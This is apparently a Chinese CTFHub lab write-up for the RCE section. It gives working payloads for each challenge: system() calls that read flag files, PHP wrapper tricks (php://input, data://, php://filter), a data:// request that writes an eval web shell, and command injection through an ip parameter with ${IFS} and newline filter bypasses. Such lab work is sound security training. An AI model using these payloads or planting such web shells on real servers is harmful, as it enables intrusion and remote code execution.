1. RCE
1.1. eval 执行
传入 cmd 参数
1
system("ls -lR / | grep flag");
1
system("find / -name flag_14104");
1
system("cat /flag_14104");
ctfhub{d3eaaa2187eddb495ba02f6e}
1.2. 文件包含
分析代码,GET 传 file 参数不能有“flag”字符,自带 shell.txt 文件
http://challenge-78e9fffaec2d5817.sandbox.ctfhub.com:10800/?file=shell.txt
蚁剑连接
1.3. php://input
成功
1
2
a=<?php system("ls /");?>
a=<?php system("cat /flag_21991");?>
1.4. 远程包含
http://challenge-057c54b0b096a464.sandbox.ctfhub.com:10800/?file=data://,<?php fputs(fopen('shell.php','w'),'123<?php eval($_POST["code"]);?>');
成功
1.5. 读取源代码
分析:file 参数以 php://
开头,存在 /flag
文件
http://challenge-a8afd380d641eed1.sandbox.ctfhub.com:10800/?file=php://filter/resource=/flag
1.6. 命令注入
1
127.0.0.1|ls
1
127.0.0.1|cat 262363244510708.php
1.7. 过滤 cat
可以使用 tac、head、tail
127.0.0.1|ls
127.0.0.1|head flag_42519488108.php
1.8. 过滤空格
可以使用 <、${IFS}
127.0.0.1|ls
http://challenge-66d5d23f43cc02ba.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat<flag_35921562431926.php
1.9. 过滤目录分隔符
多重命令执行,cd 到指定目录再 cat 内容
127.0.0.1|cat flag_is_here
无内容,ls -l
分析是目录
查看目录
http://challenge-ccfac5e714299f03.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;cat flag_27471845213010.php
1.10. 过滤运算符
只过滤了 |
、&
,未过滤 ;
127.0.0.1|ls
127.0.0.1;cat flag_69852691721920.php
1.11. 综合过滤练习
过滤了 |
、&
、;
、
、/
、cat
、flag
、ctfhub
1
127.0.0.1%0als
1
127.0.0.1%0als${IFS}-R # ${IFS}代替空格ls -R
1
127.0.0.1%0amv${IFS}fla*${IFS}fff%0als${IFS}-R #将文件夹flag改名为fff
flag 文件无权限改名
1
127.0.0.1%0acd${IFS}fff%0agrep${IFS}"ctf"${IFS}*.php #使用grep搜索*.php文件避开关键字